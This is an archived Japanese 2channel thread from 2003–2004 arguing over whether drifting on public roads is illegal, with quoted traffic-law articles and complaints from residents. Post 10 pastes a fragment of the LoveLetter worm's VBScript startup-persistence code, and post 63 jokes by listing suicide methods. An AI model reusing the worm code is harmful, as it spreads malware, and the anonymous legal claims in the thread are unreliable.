2ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

【道交法】 ドリフトは違法じゃねぇー 【県条例】

1 :srrbre:03/08/17 02:10 ID:eK3udnDM
ドリフトが違法だと言う馬鹿が存在するが、馬鹿としか言いようが無い。
ドリフトが違法だと言う奴はドリフトが違法だと言う確固たる証拠や法律を
明記してみろ。

2 :無責任な名無しさん:03/08/17 02:30 ID:eK3udnDM
ということで誰も反論できないようなので

ドリフトは違法ではない

と言う結論が出ました。
以後、ドリフトに関して文句など述べないように。

3 :共産趣味者 ◆JA2taPcg.Q :03/08/17 08:30 ID:AX488g2U
つーか、安全運転義務違反w

4 :無責任な名無しさん:03/08/17 08:35 ID:e5sA/sXU
香ばしいね。
過疎板で深夜にスレ立てて、20分待っただけで反論がないって結論になるとは。

5 :あぼーん:あぼーん
あぼーん

6 :直リン:03/08/17 09:21 ID:hc6JMwUL
http://homepage.mac.com/maki170001/

7 :無責任な名無しさん:03/08/17 15:23 ID:QO8+z5xq
ドリフトは違法とは思わない。サーキットならね。
公道でやるのは違法かどうかわからんが、そんなことしてる奴はヴァカ。
どう考えても危ねえだろ。

って言われると、きっと「俺は上手いから大丈夫」とか言い出すんだろうな。
ヴァカには手がつけられん。


8 :無責任な名無しさん:03/08/17 16:17 ID:JH/1Wory
じゃあお前等ドリフトが禁止という確固たる法律を示してみろよ

9 :無責任な名無しさん:03/08/17 18:07 ID:vf8gqw1Q
あたり得る構成要件としては以下のものが考えられる。
ま、大概ドリフトするからにはスピード違反をしてる罠。
あと自分で言ってるように条例で禁止してる都道府県もあるんじゃないの?
道路交通法12条4項
道路標識等による中央線が設けられているときは
その中央線の設けられた道路の部分を中央とする。
以下同じ。)から左の部分(以下「左側部分」
という。)を通行しなければならない。
22条1項 道路においては政令で定める最高速度を
こえる速度で進行してはならない。
第24条 車両等の運転者は、危険を防止するため
やむを得ない場合を除き、その車両等を急に停止させ、
又はその速度を急激に減ずることとなるような
急ブレーキをかけてはならない。
70条 車両等の運転者は、当該車両等のハンドル、
ブレーキその他の装置を確実に操作し、
かつ、道路、交通及び当該車両等の状況に応じ、
他人に危害を及ぼさないような速度と方法で
運転しなければならない。
71条 車両等の運転者は、
次に掲げる事項を守らなければならない。
5の3.正当な理由がないのに、
著しく他人に迷惑を及ぼすこととなる騒音を
生じさせるような方法で、
自動車若しくは原動機付自転車を急に発進させ、
若しくはその速度を急激に増加させ、
又は自動車若しくは原動機付自転車の原動機の動力を
車輪に伝達させないで原動機の回転数を増加させないこと。

10 :無責任な名無しさん:03/08/17 19:09 ID:aUuTdHxZ
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")



11 :無責任な名無しさん:03/08/17 21:51 ID:4Eya+ftr
>>9の勝かぁ?
ってか,ドリフトって何?


12 :無責任な名無しさん:03/08/18 00:06 ID:NjIxhQih
>>9って何が書いてあったん?

13 :無責任な名無しさん:03/08/18 00:08 ID:hoCJRcj8
ドリフトをすると違反することになるであろう道路交通法いろいろ

14 :無責任な名無しさん:03/08/18 00:15 ID:NjIxhQih
>>11
曲がり道を横滑りしながら曲がっていく自動車のドライビングテクニック。
見た目が派手で、華麗なドリフトに憧れを抱く若者が急増している
この背景にはイニシャルDという漫画が一役かっているらしい。

最近珍走に似た集団でドリフト族というものがいるそうだ。
ドリフトに適した道路周辺に住む住人やその道路の通行者などが
このドリフト族に対し、騒音や危険性を指摘する。
住民や通行者の苦情は深刻だ。

しかし、ドリフト族を注意しても彼等の言い分はドリフトは違法とは言わない
つまり、まったく>>1と同じ言い分である。

かいつまむと大体こういうことらしいが、本質はようわからんですわ。

15 :無責任な名無しさん:03/08/18 10:50 ID:PBCT+CzC
http://jpg.asian.pornparks.com/collegejapan3/6/images/collegejapan_com76.jpg

16 :無責任な名無しさん:03/08/18 14:53 ID:NjIxhQih
結局合法なの?

17 :無責任な名無しさん:03/08/18 14:57 ID:fCAvPB9t
>>16
直接、「ドリフト」は違法では無いが、
ドリフトを公道ですると危険走行などで捕まります。

まぁ、簡単に言うと違法です。


18 :無責任な名無しさん:03/08/18 22:49 ID:NjIxhQih
>>17
なるほど
じゃあドリフト族と住民の水掛け論は続くわけですな。

19 :無責任な名無しさん:03/08/18 23:00 ID:cGCY1E96
ドリフトもどき珍走族と住民では水掛け論だから、警察がもっと取り締まるべきなんだよ。

20 :無責任な名無しさん:03/08/19 03:53 ID:LIFnU7CR
そんな解決法しかないとは

21 :無責任な名無しさん:03/08/19 05:39 ID:5yShtTKW
減点数あげろと訴えて
取締中に殺してもOKという法案を通せばいいよ

22 :( ○ ´ ー ` ○ ) はスバラシイ:03/08/19 06:47 ID:QxMFGxsW
住民が現行犯逮捕すれば良いんじゃないの?


23 :無責任な名無しさん:03/08/19 17:43 ID:WWrJ2Vy3
>>22
そんな勇気あるやついるかよ。
警察でも,追いつけねえやつに。

24 :無責任な名無しさん:03/08/20 02:49 ID:KptRvhjf
>>23
しかもこれといった罪状がないのにな

25 :無責任な名無しさん:03/08/20 03:23 ID:FUe7WVBQ
安全運転義務違反は確実だけどな
まぁ喧嘩になって傷害事件に発展するのがオチだな

26 :無責任な名無しさん:03/08/20 10:39 ID:OBrLWr6G
>>23
>警察でも,追いつけねえやつに。

これが本当なら、スピード違反だね。

27 :無責任な名無しさん:03/08/23 04:27 ID:uivs0keX
進展しないね

28 :無責任な名無しさん:03/08/23 04:27 ID:uivs0keX
まあ法律ではドリフトをどうする事もできないってこと

29 :無責任な名無しさん:03/08/23 05:31 ID:1xOKJsUc
進展もクソも違法なんだよ間違いなく。

殴り合いの喧嘩は違法じゃねーっていってるようなもん

30 :無責任な名無しさん:03/08/23 05:59 ID:1xOKJsUc
ちょっと寝るから後でおこしてくれたまえ

31 :無責任な名無しさん:03/08/23 06:00 ID:1xOKJsUc
やっちゃ行けないところに誤爆したごめんね

32 :無責任な名無しさん:03/08/23 16:40 ID:iayQRUCg
スレタイの「じゃねぇー」っていうのが
頭悪そうでステキです!

33 :無責任な名無しさん:03/08/23 21:17 ID:gsFuDWq+
http://user.chollian.net/~screensky/screenzcg.htm

34 :無責任な名無しさん :03/08/25 05:17 ID:4gdSB0Sz
匿名でも通報できます!!
違法改造車の排除に協力しましょう!

爆音車・爆音バイクを通報いたしましょう!!
うるさい車・バイクが非常に多いと思いませんか?
近所に駐車している車が発する爆音に悩んでいませんか?
国土交通省の関連団体である自動車点検整備推進協議会では、ホームページにて、不正改造にかかわる情報を受けつけております。
http://www.tenken-seibi.com/husei/tuuhou/tuuhou.html

賛同される方は、コピペして色んな所にはりましょう!!


35 :無責任な名無しさん :03/08/27 00:03 ID:YBVQ/Hwj
4月の法改正を受けてようやく警察も動き出したようです。
http://uunet.asahi.com/car/news/TKY200308180187.html
http://www.asahi.com/kansai/news/OSK200308140026.html

今年は1年目なので世論の反応を見ながら実施されるようですが
世論に排除ムードが高まれば取り締まりも強化されるそうです。

36 :無責任な名無しさん:03/09/01 23:11 ID:czRwUpKt
「ドリフト」そのものが法律で禁止されていない以上、違法ではないでしょ。
違法となるのは、
悪徳警官がいちゃもんつけてきて、
いいなりにサインしたときだけ。
整備不良だったり、厳重注意だけですんだり・・・

あと、自動車力学的にいって禁止するのは無理だろ。
どんなにゆっくり走ろうが、車は滑ってるし。
滑り量が多いか少ないかの違いだけなんで・・・



37 :無責任な名無しさん:03/09/01 23:25 ID:PRxd72Op
>>36
安全運転義務という法律があって、
あっぶねーと思う運転は違法です。
喧嘩は法律では禁止されてませんが
殴ったり脅したりするのは違法ってのと同じ

38 :無責任な名無しさん:03/09/01 23:42 ID:czRwUpKt
>>37
うーん。
それビミョーなんだよなぁ。

その法律って、主観だけできまるもんなので、
いちゃもんつけよーと思えば、いくらでもつけられるんだよね。
どんな安全運転してても。


39 :無責任な名無しさん:03/09/02 00:23 ID:ZK6dlKL8
じゃあ聞くが具体的に明示されてるすべての道路交通法を
守った状態でドリフトできるの?
速度違反を犯さない状態でドリフトできる?
どちらが側にもはみ出さずに出来るか?
etc
俺は不可能だと思う

40 :無責任な名無しさん:03/09/02 01:12 ID:xQRa7uc7
↑できるでしょ。
30km/h以下でもドリフトは可能。(迫力はないが。)
道の広い道路なら、はみ出しの心配なし。
つか、センターの切ってない道路だと問題ないな。
主観的な法律以外は全部守れるかと。

まぁ、合法的な範囲でドリフトしてもつまんないので、
誰も守らないわけだが・・・


41 :無責任な名無しさん:03/09/02 01:41 ID:ZK6dlKL8
じゃあドリフトは違法ってことで終了でよくないっすか?

42 :無責任な名無しさん:03/09/02 01:49 ID:xQRa7uc7
違法合法に関係なく、やるやつはやるしな・・・・
捕まったら、がんがってごねれ!
つーことで。


43 :無責任な名無しさん:03/09/02 01:54 ID:ZK6dlKL8
ハァ?
ごねるも糞もスピード違反ね切符切るから
はみ出してたよね切符切るから
これで終わりじゃん何ごねんの

44 :無責任な名無しさん:03/09/05 21:05 ID:oFZOQbjM
できないの?

45 :無責任な名無しさん:03/09/05 22:43 ID:O/xdNIpj
>>40

>30km/h以下でもドリフトは可能。(迫力はないが。)
>道の広い道路なら、はみ出しの心配なし。
>つか、センターの切ってない道路だと問題ないな。
>主観的な法律以外は全部守れるかと。

じゃ、それ以外のドリフトは全て違法。
あ、ふらつき、キープレフト、複数で走れば集団危険行為、も入れてね。


46 :納入豆 ◆pbUu7CuI8k :03/09/05 23:41 ID:ogD66zer
「ドリフト」と言うことについて、その判断基準があいまいである。

47 :無責任な名無しさん:03/09/06 00:12 ID:mvf8qdCz
だから?「ドリフト」についての判断基準なんて一切必要無いだろ

48 :納入豆 ◆pbUu7CuI8k :03/09/06 00:22 ID:Z4y6sR2b
>>47
では、雪道でタイヤが滑ってしまった場合と、
雪道で故意にタイヤを滑らした場合との、
線引きをお願い致します。

49 :無責任な名無しさん:03/09/06 00:46 ID:mvf8qdCz
そんなのはやった奴が弁明すりゃ良いことじゃないの?
コレコレこういう理由で不可抗力でしたって

50 :納入豆 ◆pbUu7CuI8k :03/09/06 01:02 ID:Z4y6sR2b
繰り返し、線引きを要求します。

が、私も煽ってるわけではないので、ID:mvf8qdCzさんの
的確な答えがあるまで、これ以上あなたにレスはしませんよ。


51 :無責任な名無しさん:03/09/06 02:06 ID:mvf8qdCz
ドリフトを定義する必要が無いっていってるのに
どう線引きしろっていうんだ?
刑法に喧嘩の定義が無いのと一緒

一応言っておくと雪道で滑って停止線越えても違反は違反だぞ?

52 :納入豆 ◆pbUu7CuI8k :03/09/06 02:31 ID:Z4y6sR2b
>51

では、いわゆるドリフトとは、
道路交通法の枠内で行われていれば合法、
しかしながら、なんらかの違法性があればそれで立件することは可能
ということですな。

すなわち、ドリフトという行為においては、なんら違法性は存在しない、
ということでよいのですね?

一応言っておきますが、条文にないからといって、喧嘩とドリフトは違うことですよ。
ようは、スレタイどうり、違法性の問題です。
ましてや、停止越えと比較することについて、なんら関係のないことですね。


53 :無責任な名無しさん:03/09/06 03:05 ID:mvf8qdCz
>>52
そりゃ枠内で出来れば合法だろう。

あらゆる道路交通法に違反せずにドリフトという行為が行えるのなら
ドリフトという行為に違法性は無いって言えるだろうけど不可能でしょ?

> 一応言っておきますが、条文にないからといって、喧嘩とドリフトは違うことですよ。
> ようは、スレタイどうり、違法性の問題です。
同じだと思うけど?喧嘩は刑法には定義されてないが
喧嘩は合法か?と聞かれれば普通は殴ったり脅したりするだろうから違法ですよって答えになる

> ましてや、停止越えと比較することについて、なんら関係のないことですね。
故意であるかどうかは関係無いって事

54 :納入豆 ◆pbUu7CuI8k :03/09/06 12:57 ID:nSp3UErV
>53

若干、議論がずれているようですが、お答えしましょう。

>あらゆる道路交通法に違反せずにドリフトという行為が行えるのなら
ドリフトという行為に違法性は無いって言えるだろうけど不可能

端的に言いますと、可能です。
まぁ、ドリフトする大半の人たちのモラルに問題がある、
ということだと思います。

喧嘩についての違法性は規定がないといってもそれは判例で確立されています。
ドリフトについてはそれがありません。

従って、既に確立されている実例(雪道におけるスリップによる停止線越え)を
持ち出すことは無意味である、と言っているのですよ。

55 :無責任な名無しさん:03/09/06 19:25 ID:jmyyUsPc
>>54
とりあえず道路交通法をやぶらずドリフトをするために
どういう風に車を操縦するのか詳細に説明して下さい
ただ、カーブでは十分に速度を落とし不必要なブレーキを行わず、車の尻を振らず
タイヤを滑らせずにドリフトって出来るのか疑問です

喧嘩について判例で確立されてるとはこちらの勉強不足です
いったいどの判例で確立されてるのか教えていただけませんか??
人を殴ったり脅迫したりする行為については確立されてるとは思いますが
まさか喧嘩の定義について判例があるとは思っても見ませんでした

56 :納入豆 ◆pbUu7CuI8k :03/09/07 01:06 ID:jg0KROMx
>55
仕方ありませんね、釣られてあげましょう。

車の操縦性について・・・
ハンドブレーキを使用し、リヤを流すことでスムーズに無理なく流れます。
タクシーの運転手もしてますよ。
具体的なことは車の駆動によって異なります。スレ違いのようなので、
気になるようでしたら、然るべき場所でお聞きになるほうがよいのかと。

喧嘩についての判例・・・
旧判例は喧嘩両成敗の思想から正当防衛の成立を否定しています。
つまり、罪に問われるということです。

最近では、
「初めは素手で殴り合っていたのに、突然、一方が短刀を取り出した」
というような事例について、正当防衛の成立を否定するのは問題であり、判例も喧嘩闘争について、正当防衛を認めるにいたっています。
まぁ、あくまでも限定的ではありますが。

57 :無責任な名無しさん:03/09/07 02:13 ID:Z5qbb02b
>>56
その行為が本当に道路交通法に違反していなければ合法でしょう。
道交法的にはリヤを流さなければならない速度でカーブに進入する事自体が問題ありそうですが。

これをもって、
あなたが言われている「ドリフトに違法性は無いのか?」に違法性は無いと言えるものでもありません
というのはそもそも「ドリフト」が「アクセルを踏む」や「ハンドルを回す」
あるいは「スピードを出す」「ブレーキをかけて車を止める」と
同じ様なものであると思うからです。
肝心なのは何時何処でどういう目的でどの程度行ったかではありませんか?
その部分を省き違法性があるかどうかを論じては答えが出ないのでは?

後半についてはあなたの説明ではなく
具体的にどの判決か教えて頂きたいのですが

58 :納入豆 ◆pbUu7CuI8k :03/09/07 04:04 ID:jg0KROMx
>57

>具体的にどの判決
判例名のことでしょうか。知りたいのならご自分でお調べになったらどうでしょう。
私は、判例として存在することを示したまでですよ。
喧嘩と判例はなんら関係のないもの、と指摘しましたが。

失礼ですが、真ん中の文については、意味がわかりません。
>「ドリフトに違法性は無いのか?」に違法性は無いと言えるものでもありません。

>そもそも「ドリフト」が「アクセルを踏む」や「ハンドルを回す」
>あるいは「スピードを出す」「ブレーキをかけて車を止める」と
>同じ様なものであると思う
この二つの文の繋がりがよくわかりません。根拠でしょうか。

>肝心なのは何時何処でどういう目的でどの程度行ったか
量と場所と時間が肝心なのですかw?
そのような法律は聞いたことがないのですが・・・。

59 :無責任な名無しさん:03/09/07 05:30 ID:Z5qbb02b
>>58
本当に知っているなら言えるはずでは?
知らないのであれば別にそれでもいいのですが

ドリフトに違法性が無いのかという質問は
スピードを出すことに違法性があるのかと聞いてるのと
同じだという事です。

何時何処でどのような目的では非常に重要ですよ、
ブレーキを踏んで減速や停車する場合を例にあげれば
何時、信号の状態や自分や周りの状況等
何処で、道路のどの場所、停止線があるかないか、交差点かどうか等
どの程度、少し減速すれば済むのに急ブレーキをかけた、等


60 :納入豆 ◆pbUu7CuI8k :03/09/07 23:38 ID:jg0KROMx
>59

>本当に知っているなら言えるはず
これ以上、何を言うのかと。

>ドリフトに違法性が無いのかという質問
誰が質問したのかと。

てか、何を言いたいんですか?
ドリフトは違法である、といいたいのなら、
違法たる根拠を示してください。
あと、必要以上の粘着は辞めてください。

61 :無責任な名無しさん:03/09/08 00:54 ID:m6u8ojCU
>>60
> これ以上、何を言うのかと。
どの裁判で採用されたのかを調べたいので
日付と事件名か番号さえ教えてもらえればいいんですが。

> 誰が質問したのかと。
あなたです。
必死に「じゃあドリフトに違法性は無いんですよね」と繰り返してらっしゃいますよ

てか、何を言いたいんですか?
> ドリフトは違法である、といいたいのなら、
> 違法たる根拠を示してください。
違法、合法というような答えの出る質問では無いという事です。
ドリフトは違法ですか?じゃぁまるで幼稚園児の質問ですよ

> あと、必要以上の粘着は辞めてください。
どの部分ですか?
道交法に違反しなければ合法である、が
合法的にドリフトを行えないだろう。とさんざんいってるのに
噛みついてるのはそちらですよね

62 :納入豆 ◆pbUu7CuI8k :03/09/08 01:50 ID:jzIx3P7g
>61

>どの裁判で採用されたのかを調べたいので
>日付と事件名か番号
ですから、ご自分で。

>「じゃあドリフトに違法性は無いんですよね」
身に覚えがありません。
質問などしたつもりはないです。事実を述べているまでです。
意味を混同なさらぬよう、気をつけてください。

>違法、合法というような答えの出る質問では無い
罪刑法定主義

>合法的にドリフトを行えないだろう。とさんざんいってるのに
では、具体的にどうぞ。

63 :無責任な名無しさん:03/09/11 00:34 ID:u2+ZoK5K
次の方法で終了しますか?

○ 首を吊る(T)
● 煉炭と七厘(S)
○ 飛び降りる(R)
○ 転生モードで再起動する(M)

[OK]  [キャンセル]  [ヘルプ]



64 :無責任な名無しさん:03/09/11 01:54 ID:2klTgKg4
結局知らないから言えないんだろw

65 :無責任な名無しさん:03/09/11 22:34 ID:3I5SrrK5
>>57
> その行為が本当に道路交通法に違反していなければ合法でしょう。
> 道交法的にはリヤを流さなければならない速度でカーブに進入する事自体が問題ありそうですが。

速度についてだけ言及するなら>>40でケリがついていると思うのだが。
そもそも>>57は言葉を知っているだけでドリフトというのがどういうものなのか、
本当は知らないんじゃないのか?


66 :納入豆 ◆pbUu7CuI8k :03/09/12 22:51 ID:ZrlIIl4G
>>65

もう、>>57とかは出てこないでしょう。
3日くらい粘着されましたが、全て迎撃しときましたw

67 :無責任な名無しさん :03/09/13 00:41 ID:68fI6med
違法かどうかなんてどうでもいいが、迷惑なんで辞めて欲しい。

68 :無責任な名無しさん:03/09/13 00:44 ID:gMsUaAhn
>>67
全く同意。
法律以前に人として守るべきマナーがあるんじゃないの?
それともおまいは畜生か?

69 :納入豆 ◆pbUu7CuI8k :03/09/13 13:21 ID:8gAPgoWb
まぁ、モラルの問題でしょう。
マナーの良い人たちも居るんですけどねぇ・・・

70 :無責任な名無しさん:03/09/20 03:37 ID:+Q9y9Z8p
>>69
条例で捕まってたのはなんなん?
しかも、公道じゃ無かったよ。
スレタイにも県条例ってあるからそのことじゃないの?
ドリフトというと必ず北海道+雪道+タクシーと言う
限られた例を出す人がいるけど、
実際にその例を出して罪を逃れた人は居るの?
ドリフトはタイヤがグリップの限界を超える場合だから
徐行時にもできるけど
(サイドブレーキは非現実的。とくに30km/h以下では)
騒音出るよね。それは違法じゃないの?


71 :無責任な名無しさん:03/09/20 03:51 ID:7EulJTi5
つーかドリフトかっこわるいよな

72 :無責任な名無しさん:03/09/20 03:53 ID:+Q9y9Z8p
ふと思い出したけど、
急ブレーキ違反の時路上に穴が見えましたと言い訳する
方法があるらしいけど、視力の検査をしてるでしょ?
ああいうのも納得行かないんだよな。
なんにしろ、付近住民のことを考えたら、
巧かろうが下手だろうが無駄なことをして迷惑になっている
という、現実があるわけだし、それ自体が非常に単純な問題
だと思う。
日本中で何人の人間が法律に付いて学んでるか知らないけど
こんなことすら取り締まれない人間は一体何をワザワザ
学んでるんだろう?

73 :無責任な名無しさん:03/09/20 03:54 ID:+Q9y9Z8p
>>71
俺から見たら、必要の無いことを場違いなところでやると言う意味で
本屋でサッカーボールのリフティングするDQN同類。

74 :無責任な名無しさん:03/09/20 18:36 ID:rYKIGs75
違法だからやめられないんだよ
合法な走りのどこがおもしろいんだ

75 :無責任な名無しさん:03/11/14 13:56 ID:44J6c8b8
>>74
おまえわかつてないなあ。きょうぞんできなきや!ちなみにおれのぢもとは
とうげのおやぶんがこゆびないひとだから、きりつはきびしいぞ。
ふもとから○こーなーめまではぢょこう!とかさ。


76 :無責任な名無しさん:03/11/14 15:54 ID:EKN+r87A
納入豆さん、判例を出すのなら、裁判所名と日付を示さないと無意味ですよ。
逆引きできるように示すのがルールです。


77 :無責任な名無しさん :03/11/15 01:12 ID:qFx++hkF

2003年10月31日の記事より。
警察庁はドリフト走行を暴走行為として逮捕する方針をきめた。
http://response.jp/issue/2003/1031/article55231_1.html

78 :無責任な名無しさん:03/11/15 01:18 ID:qFx++hkF
2003年11月11日の記事より。
ドリフト走行に暴走族根絶条例を適用。
http://response.jp/issue/2003/1111/article55483_1.html

79 :無責任な名無しさん:03/11/15 11:11 ID:pdyV+egA
>>76

同意。
それぐらい書いてくれなきゃ、探すの大変だYO!

80 :無責任な名無しさん:03/12/29 09:08 ID:mqayZ9gF
徐行違反(徐行しない右折)で捕まった事あります(W

81 :無責任な名無しさん:04/01/15 13:57 ID:WuO6appJ
結論

>>1は白痴DQN


82 :現役レーサー:04/02/06 01:53 ID:Ji4Ae0kx
レーサーの立場からドリフトを分析します。
ドリフト状態ではタイヤのグリップが本来の能力を十分に発揮できていません。
その証拠にドリフト走行はグリップ走行のタイムより遅いです。
当然、コントロール性能はグリップ走行の方が格段にあります。

また、「雪道で横滑りを起こした」というのは故意ではなく
不注意でなってしまうものです。
ドリフト走行は故意に危険な走行をしている事になります。
よってドリフト走行は故意に行う危険走行行為にあたり違法です。

83 :無責任な名無しさん:04/02/08 12:22 ID:3iPAWD4t
ドリフトは違法ではない!と言う方。
自分が眠っている又はくつろいでいる時に、自分の家の近くで
何台ものドリフト族が何時間もドリフトしている所を想像して
みましょう。邪魔極まりないですよね。

最近ではドリフト可のサーキット、若しくはドリフト専用サー
キットが全国的に増えています。そこが君たちの求める場所で
はないのですか?
公道でのドリフトは一般車両への巻き込み事故、タイヤ片の散
乱、ガードレールや標識の破損、近隣住民への騒音等様々な迷
惑行為があります。
公道でドリフトをする限り暴走族扱いされるのは仕方ないと思
われます。

世間的に認めてもらいたければ、まずは認められた場所で行わ
ないと始まらないと思います。

84 :82:04/02/08 23:52 ID:Y1ngUscs
>83
そんな連中はサーキットに来るとコテンパンに
やられるんですよ。
メンテ状態は最悪。タイムはヘボヘボの素人。
そんな環境でまじめに向上心を持ってやって行けない奴らの
集団なんですから逆にサーキット側も迷惑しています。
(路面の痛みが激しくなる。近隣への騒音迷惑)
スキール音って高音なので結構遠くまで響きます。
お山の大将は虚勢を張るだけのお子様なんですよ。
免許取り上げぐらいの厳罰を与えて社会の常識を
小学生レベルで教えてやるしかないんですよ

85 :無責任な名無しさん:04/02/11 18:23 ID:/Oz/q6LB
>>82
私は別にドリフト自体別に違法であるとは思いませんし、否定も
しません。
ただ公道で行う事がどうかと述べているだけです。

貴方が何のレーサーなのか存知ませんが、危険性で言えばドリフ
トもグリップも大差は無いと思いますし、ドリフトは根本的にタ
イムを競うものでは無いと思います。

迷惑してると言うサーキットはドリフト走行禁止にすれば良いだ
けの事ではありませんか?
先にも述べましたが、最近ではドリフト可のサーキット、若しく
はドリフト専用サーキットもあるのです。
某有名国際サーキットもドリフト解禁になり、専用ライセンスを
発行しているぐらいですので。

公道ではただの危険走行ですが、認められた場所ではれっきとし
たモータースポーツだと思います。

86 :82:04/02/13 19:57 ID:+m66qt22
>公道ではただの危険走行

それで良いではないでしょうか?
公道である以上は道交法に従うべきであり
危険走行は違法です。

私が別の話を持ち込んでしまったのは申し訳ないんですけど
道交法に従えない人間がサーキットルールを
守れるかは疑問です。
認められた場所でルールを守って初めてスポーツに
なります。
整備不良でコース上にオイルを撒かれて貴重な
走行枠が潰れた事もありました。炎上だと1日潰れます。
収益を上げるためにサーキット側も板ばさみで悩んでいますし
今、この問題でおおいに揉めています。
ひとくくりに「サーキットに行け」では真剣に走っている
人にとって迷惑です。
グリップ走行、ドリフト走行を真剣に練習している
両方の人間が迷惑しています。
安易な考えと憶測で煽るのはやめてください。

話の論点をずらしてしまった事をお詫びいたします。

27 KB
■ このスレッドは過去ログ倉庫に格納されています

★スマホ版★ 掲示板に戻る 全部 前100 次100 最新50

read.cgi ver 05.02.02 2014/06/23 Mango Mangüé ★
FOX ★ DSO(Dynamic Shared Object)